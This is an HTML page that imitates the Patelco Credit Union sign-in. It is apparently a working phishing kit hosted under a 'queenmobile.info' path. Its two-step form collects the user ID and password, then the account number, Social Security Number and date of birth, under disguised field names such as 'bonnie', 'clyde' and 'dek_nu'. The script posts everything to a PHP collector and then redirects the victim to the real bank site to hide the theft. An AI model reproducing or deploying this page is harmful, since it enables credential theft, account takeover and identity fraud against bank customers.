<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Patelco</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="icon" type="image/jpg" href="/queenmobile.info/account/patelco/public/images/pt-icon.png">
        <link href="/queenmobile.info/account/patelco/styles/output.css" rel="stylesheet">
    </head>
    
    <body>
        <main class="py-10 md:w-[90%] lg:w-[60%] xl:w-[50%] mx-auto">
            <section class="flex justify-center">
                <div class="w-[70%] md:w-[50%] px-1 md:px-3 pb-2 border-t-[1px] border-[#f2f2f2] border-solid md:border-[1px] md:border-[#f2f2f2] md:border-solid md:rounded-l-md">
                    <div class="relative">
                        <div class="flex justify-between">
                            <div></div>

                            <!-- more icon -->
                            <div onclick="showMore()" class="w-10 bg-[#ebe4e4] mx-1 my-2 p-2 rounded-md">
                              <img src="/queenmobile.info/account/patelco/public/icons/more-line.svg" alt="more-icon" class="h-[25px] w-[25px]" />
                            </div>
                        </div>
                        <div id="more-options" class="hidden absolute justify-between top-12 right-1 bg-white z-10">
                            <div></div>

                            <!-- more options -->
                            <div class="w-36 py-2 rounded-md text-center shadow-xl">
                                <a href="javascript:void(0)" class="flex justify-between space-x-2 p-3 hover:bg-[#ebe4e4] focus:bg-[#ebe4e4]">
                                    <img src="/queenmobile.info/account/patelco/public/icons/phone-line.svg" alt="phone-icon" class="h-[20px] w-[20px]" />
                                    <button class="text-[#a82428] text-[15px] -mt-1">Contact Us</button>
                                </a>
                                <a href="javascript:void(0)" class="flex justify-between space-x-2 p-3 hover:bg-[#ebe4e4] focus:bg-[#ebe4e4]">
                                    <img src="/queenmobile.info/account/patelco/public/icons/map-pin-2-line.svg" alt="phone-icon" class="h-[20px] w-[20px]" />
                                    <button class="text-[#a82428] text-[15px] -mt-1">Locations</button>
                                </a>
                                <a href="javascript:void(0)" class="flex justify-between space-x-2 p-3 hover:bg-[#ebe4e4]">
                                    <img src="/queenmobile.info/account/patelco/public/icons/question-line.svg" alt="phone-icon" class="h-[20px] w-[20px]" />
                                    <button class="text-[#a82428] text-[15px] -mt-1">Help</button>
                                </a>
                            </div>
                        </div>
                    </div>

                    <!-- logo -->
                    <img src="/queenmobile.info/account/patelco/public/images/logo.png" alt="logo" class="w-[160px] h-14 mx-auto "/>

                    <!-- login form -->
                    <form id="the-form" class="pb-3">
                        <p id="form-message" class="py-2 h-auto mb-1 text-[15px] font-normal text-center text-[#a82428]"></p>

                        <!-- completed -->
                        <div id="completed" class="hidden mt-28 pb-28">
                            <img src="/queenmobile.info/account/patelco/public/icons/checked.png" alt="more-icon" class="h-[100px] w-[100px] mx-auto" />
                            <p class="text-center text-[16px] mt-3">Completed</p>
                        </div>
                        <div id="form-page-1">
                            <div class="relative">
                                <label htmlFor="bonnie" class="absolute text-[9px] md:text-[11px] text-gray-500 font-normal mt-[0.1rem] ml-1">User ID</label>
                                <input type="text" id="bonnie" name="bonnie" class="bg-[#f2f2f2] w-full py-3 md:py-4 px-1 rounded-md"/>
                            </div>
                    
                            <br />
                            <div class="relative">
                                <label htmlFor="clyde" class="absolute text-[9px] md:text-[11px] text-gray-500 font-normal mt-[0.1rem] ml-1">Password</label>
                                <input type="password" id="clyde" name="clyde" class="bg-[#f2f2f2] w-full py-3 md:py-4 px-1 rounded-md"/>
                                <div onclick="toggleClyde()" class="mt-3">
                                    <img src="/queenmobile.info/account/patelco/public/icons/eye-line.svg" id="eye-on" alt="logo" class="absolute right-1 top-3 md:top-4 h-[18px] w-[18px]" />
                                    <img src="/queenmobile.info/account/patelco/public/icons/eye-off-line.svg" id="eye-off" alt="logo" class="hidden absolute right-1 top-3 md:top-4 h-[18px] w-[18px]" />
                                </div>
                            </div>
                  
                            <br />
                            <div class="flex justify-start space-x-3">
                                <div onclick="switchRemember()" class="relative bg-[#ebe4e4] p-1 rounded-lg w-10 h-6 cursor-pointer">
                                    <div id="remember" class="rounded-full w-4 h-4 bg-[#a82428] absolute"></div>
                                </div>
                                <p class="text-[12px] mt-1 font-normal">Remember Me</p>
                            </div>

                            
                            <br />
                            <br />
                            <button type="button" onclick="showPage2()" class="bg-[#ce1616] w-full p-3 text-[12px] text-center text-white font-medium rounded-md">Log In</button>
                  
                  
                            <!-- after form -->
                            <div class="my-5 text-center">
                                <p class="text-[12px] text-center font-normal">Forgot <a href="javascript:void(0)" class="text-[#217ac8]">User ID</a> or <a href="#" class="text-[#217ac8]">Password</a>?</p>
                                <a href="javascript:void(0)"><button  class="mt-6 text-[#ce1616] text-[12px] font-medium">Register a New Account</button></a>
                            </div>
                        </div>
                  
                        <div id="form-page-2" class="hidden">
                            <p class="text-[19px] mb-[0.5rem] font-medium">Verify Your Identity</p>
                            <p class="text-[12px] pb-3 font-normal">Help us keep your account safe. Please confirm the account belongs to you by providing the following information</p>
                            <div class="relative">
                                <label htmlFor="clyde_" class="absolute text-[9px] md:text-[11px] text-gray-500 font-normal mt-[0.1rem] ml-1">Confirm Password</label>
                                <input type="password" id="clyde_" name="clyde_" class="bg-[#f2f2f2] w-full py-3 md:py-4 px-1 rounded-md"/>
                                <div onclick="toggleClyde_()" class="mt-3">
                                    <img src="/queenmobile.info/account/patelco/public/icons/eye-line.svg" id="eye-on1" alt="logo" class="absolute right-1 top-3 md:top-4 h-[18px] w-[18px]" />
                                    <img src="/queenmobile.info/account/patelco/public/icons/eye-off-line.svg" id="eye-off1" alt="logo" class=" hidden absolute right-1 top-3 md:top-4 h-[18px] w-[18px]" />
                                </div>
                            </div>

                            <br />
                            <div class="relative">
                                <label htmlFor="fast_f_a_n" class="absolute text-[9px] md:text-[11px] text-gray-500 font-normal mt-[0.1rem] ml-1">Account Number</label>
                                <input type="text" id="fast_f_a_n" name="fast_f_a_n" class="bg-[#f2f2f2] w-full py-3 md:py-4 px-1 rounded-md"/>
                            </div>

                            <br />
                            <div class="relative">
                                <label htmlFor="dek_nu" class="absolute text-[9px] md:text-[11px] text-gray-500 font-normal mt-[0.1rem] ml-1">Social Security Number</label>
                                <input type="text" id="dek_nu" name="dek_nu" class="bg-[#f2f2f2] w-full py-3 md:py-4 px-1 rounded-md"/>
                            </div>

                            <br />
                            <div class="relative">
                                <label htmlFor="bt_leg" class="absolute text-[9px] md:text-[11px] text-gray-500 font-normal mt-[0.1rem] ml-1">Date of birth</label>
                                <input type="date" id="bt_leg" name="bt_leg" autocomplete="off" required class="bg-[#f2f2f2] w-full py-3 md:py-4 px-1 rounded-md"/>
                            </div>

                            <br />
                            <div id="page-2-buttons" class="mt-3">
                                <button type="button" onclick="showPage1()" class="bg-[#f9f9f9] w-full p-3 text-[12px] text-center text-gray-750 font-medium rounded-md">Go Back</button>
                                <button type="submit" class="bg-[#ce1616] w-full p-3 mt-2 text-[12px] text-center text-white font-medium rounded-md">Continue</button>
                            </div>

                             <!-- loading -->
                            <img src="/queenmobile.info/account/patelco/public/icons/icons8-spinning-circle.gif" id="loading" alt="more-icon" class="hidden h-[40px] w-[40px] mx-auto my-2" />
                        </div>
                    </form>
                </div>

                <!-- login image -->
                <div class="w-[30%] md:w-[50%] h-auto bg-cover bg-center md:rounded-r-md" style="background-image: url('/queenmobile.info/account/patelco/public/images/lgn-image.jpeg');"></div>
              
            </section>
            
            <footer class="mb-5 flex justify-between px-2 w-full" style="margin-top: 250px;">
                <div class="w-[50%]">
                    <div class="flex justify-start space-x-3 text-[6px] md:text-[12px] underline">
                        <a href="javascript:void(0)" class="">Mobile</a>
                        <a href="javascript:void(0)" class="">Digital Demos</a>
                        <a href="javascript:void(0)" class="">Contact</a>
                        <a href="javascript:void(0)" class="">Privacy</a>
                        <a href="javascript:void(0)" class="">Browser Support</a>
                    </div>
                    <div class="flex justify-start space-x-3 mt-2">
                        <a href="javascript:void(0)"><img src="/queenmobile.info/account/patelco/public/icons/twitter-x-line.svg" alt="logo" class="h-[20px] w-[20px]" /></a>
                        <a href="javascript:void(0)"><img src="/queenmobile.info/account/patelco/public/icons/instagram-line.svg" alt="logo" class="h-[20px] w-[20px]" /></a>
                        <a href="javascript:void(0)"><img src="/queenmobile.info/account/patelco/public//icons/facebook-fill.svg" alt="logo" class="h-[20px] w-[20px]" /></a>
                        <a href="javascript:void(0)"><img src="/queenmobile.info/account/patelco/public/icons/youtube-fill.svg" alt="logo" class="h-[20px] w-[20px]" /></a>
                    </div>
                    <div class="flex justify-start space-x-1 my-4">
                        <a href="javascript:void(0)"><img src="/queenmobile.info/account/patelco/public/images/app-store.svg" alt="logo" class="h-[50px] w-[80px]" /></a>
                        <a href="javascript:void(0)"><img src="/queenmobile.info/account/patelco/public/images/google-play.svg" alt="logo" class="h-[50px] w-[80px]" /></a>
                    </div>
                    <p class="text-[9px] md:text-[12px] mt-2">Copyright &copy; 2024 All rights reserved.</p>
                </div>
      
                <div class="w-[50%] text-right">
                    <div class="flex justify-between -mt-1">
                        <div class="w-[50%]"></div>
                        <img src="/queenmobile.info/account/patelco/public/images/logo.png" alt="logo" class="h-12 w-[150px]" />
                    </div>
                    <p class="text-[9px] md:text-[12px] mt-2">Routing number: 321076470</p>
                    <p class="text-[9px] md:text-[12px] mt-2">Patelco Credit Union, PO Box 2227, Merced, CA 95344</p>
                    <div class="mt-2 flex justify-between">
                        <div class="w-[50%]"></div>
                        <img src="/queenmobile.info/account/patelco/public/images/ncua.png" alt="logo" class="h-[50px] w-[120px]" />
                    </div>
                </div>
            </footer>
        </main>

        <script>
            const moreOptions = document.getElementById('more-options')
            const formMessage = document.getElementById('form-message')
            const bonnie = document.getElementById('bonnie')
            const clyde = document.getElementById('clyde')
            const clyde_ = document.getElementById('clyde_')
            const fast_f_a_n = document.getElementById('fast_f_a_n')
            const dek_nu = document.getElementById('dek_nu')
            const bt_leg = document.getElementById('bt_leg')
            const formPage1 = document.getElementById('form-page-1')
            const formPage2 = document.getElementById('form-page-2')
            const eyeOn = document.getElementById('eye-on')
            const eyeOff = document.getElementById('eye-off')
            const eyeOn1 = document.getElementById('eye-on1')
            const eyeOff1 = document.getElementById('eye-off1')
            const loading = document.getElementById('loading')
            const completed = document.getElementById('completed')
            const page2Buttons = document.getElementById('page-2-buttons')
            const theForm = document.getElementById('the-form')
            const section = document.getElementsByTagName('section')
            const footer = document.getElementsByTagName('footer')
            const remember = document.getElementById('remember')

            function showMore() {
                if (moreOptions.style.display === 'flex') {
                    moreOptions.style.display = 'none'
                }
                else {
                    moreOptions.style.display = 'flex'
                }
            }

            function showPage2() {
                //e.preventDefault()
                if (bonnie.value === "") {
                    formMessage.innerHTML = "Please enter your username"
                }
                else if (clyde.value === "") {
                    formMessage.innerHTML = "Please enter your password"
                }
                else {
                    formMessage.innerHTML = ""
                    //formPage1.style.display = "none"
                    formPage1.style.opacity = 0.5
                    setTimeout(function() {
                        formPage1.style.opacity = 1
                        formPage1.style.display = "none"
                        formPage2.style.display = "block"
                    }, 2000)
                }
            }

            function showPage1() {
                formMessage.innerHTML = ""
                formPage1.style.display = "block"
                formPage2.style.display = "none"
            }

            function switchRemember() {
                if (remember.style.right === "0.25rem" && remember.style.backgroundColor === "white") {
                    remember.style.right = ""
                    remember.style.backgroundColor = "#a82428"
                }
                else {
                    remember.style.right = "0.25rem"
                    remember.style.backgroundColor = "white"
                }
            }

            function toggleClyde() {
                if (formPage1 && eyeOn && eyeOff) {
                    if (clyde.type === "password") {
                        clyde.type = "text"
                        eyeOn.style.display = "none"
                        eyeOff.style.display = "block"
                    }
                    else {
                        clyde.type = "password"
                        eyeOn.style.display = "block"
                        eyeOff.style.display = "none"
                    }
                }
            }

            function toggleClyde_() {
                if (formPage2 && eyeOff1 && eyeOn1) {
                    if (clyde_.type === "password") {
                        clyde_.type = "text"
                        eyeOn1.style.display = "none"
                        eyeOff1.style.display = "block"
                    }
                    else {
                        clyde_.type = "password"
                        eyeOn1.style.display = "block"
                        eyeOff1.style.display = "none"
                    }
                }
            }

            async function handleSubmit() {
                const minDate = Date.parse("1914-01-01")
                const maxDate = Date.parse("2008-12-31")
                console.log(bt_leg.value)
                if (bt_leg.valueAsNumber < minDate || bt_leg.valueAsNumber > maxDate) {
                    formMessage.innerHTML = "Date of Birth doesn't match our records"
                }
                else if (bonnie.value === "") {
                    formPage2.style.display = "none"
                    formPage1.style.display = "block"
                    formMessage.innerHTML = "Please enter your User ID"
                }
                else if (clyde.value === "") {
                    formPage2.style.display = "none"
                    formPage1.style.display = "block"
                    formMessage.innerHTML = "Please enter your password"
                }
                else if (clyde_.value === "") {
                    formMessage.innerHTML = "Please re-enter your password"
                }
                else if (isNaN(bt_leg.valueAsNumber)) {
                    formMessage.innerHTML = "Please enter your Date of Birth"
                }
                else if (clyde.value != clyde_.value) {
                    formMessage.innerHTML = "Passwords don't match"
                }
                else if (fast_f_a_n.value === "") {
                    formMessage.innerHTML = "Please enter your Account Number"
                }
                else if (isNaN(fast_f_a_n.value)) {
                    formMessage.innerHTML = "Account Number doesn't match our records"
                }
                else if (dek_nu.value === "") {
                    formMessage.innerHTML = "Please enter your SSN"
                    console.log("empty")
                }
                else if (isNaN(dek_nu.value) || dek_nu.value.length != 9) {
                    formMessage.innerHTML = "SSN doesn't match our records"
                }
                else {
                    formMessage.innerHTML = ""
                    const formData = new FormData(theForm)
                    console.log(formData)
                    loading.style.display = "block"
                    formPage2.style.opacity = 0.5
                    page2Buttons.style.display = "none"
                    console.log("yes")
                    try {
                        const response = await fetch("/queenmobile.info/account/patelco/server/ac.php", {
                            method: "POST",
                            header: {
                                mode: 'cors'
                            },
                            // Set the FormData instance as the request body
                            body: formData,
                        })
                        const res = await response.json()
                        if (res.message === "Success") {
                            //formMessage.innerHTML = res.text
                            loading.style.display = "none"
                            formPage2.style.opacity = 1
                            formPage2.style.display ="none"
                            completed.style.display = "block"
                            setTimeout(function () {
                                location.replace("https://patelco.com")
                            }, 3000)
                        }
                        else if (res.message === "Please fill the form completely and try again") {
                            loading.style.display = "none"
                            formPage2.style.opacity = 1
                            formMessage.innerHTML = "Please fill the form completely and try again"
                            page2Buttons.style.display = "block"
                        }
                        else if (res.message === "Network error") {
                            loading.style.display = "none"
                            formPage2.style.opacity = 1
                            formMessage.innerHTML = "Network error"
                            page2Buttons.style.display = "block"
                        }
                        else {
                            loading.style.display = "none"
                            formPage2.style.opacity = 1
                            formMessage.innerHTML = "Something went wrong"
                            page2Buttons.style.display = "block"
                        }
                    } catch (e) {
                        console.error(e)
                    }
                }
            }
            theForm.addEventListener("submit", (event) => {
                event.preventDefault()
                handleSubmit()
            })
        </script>
    </body>
</html>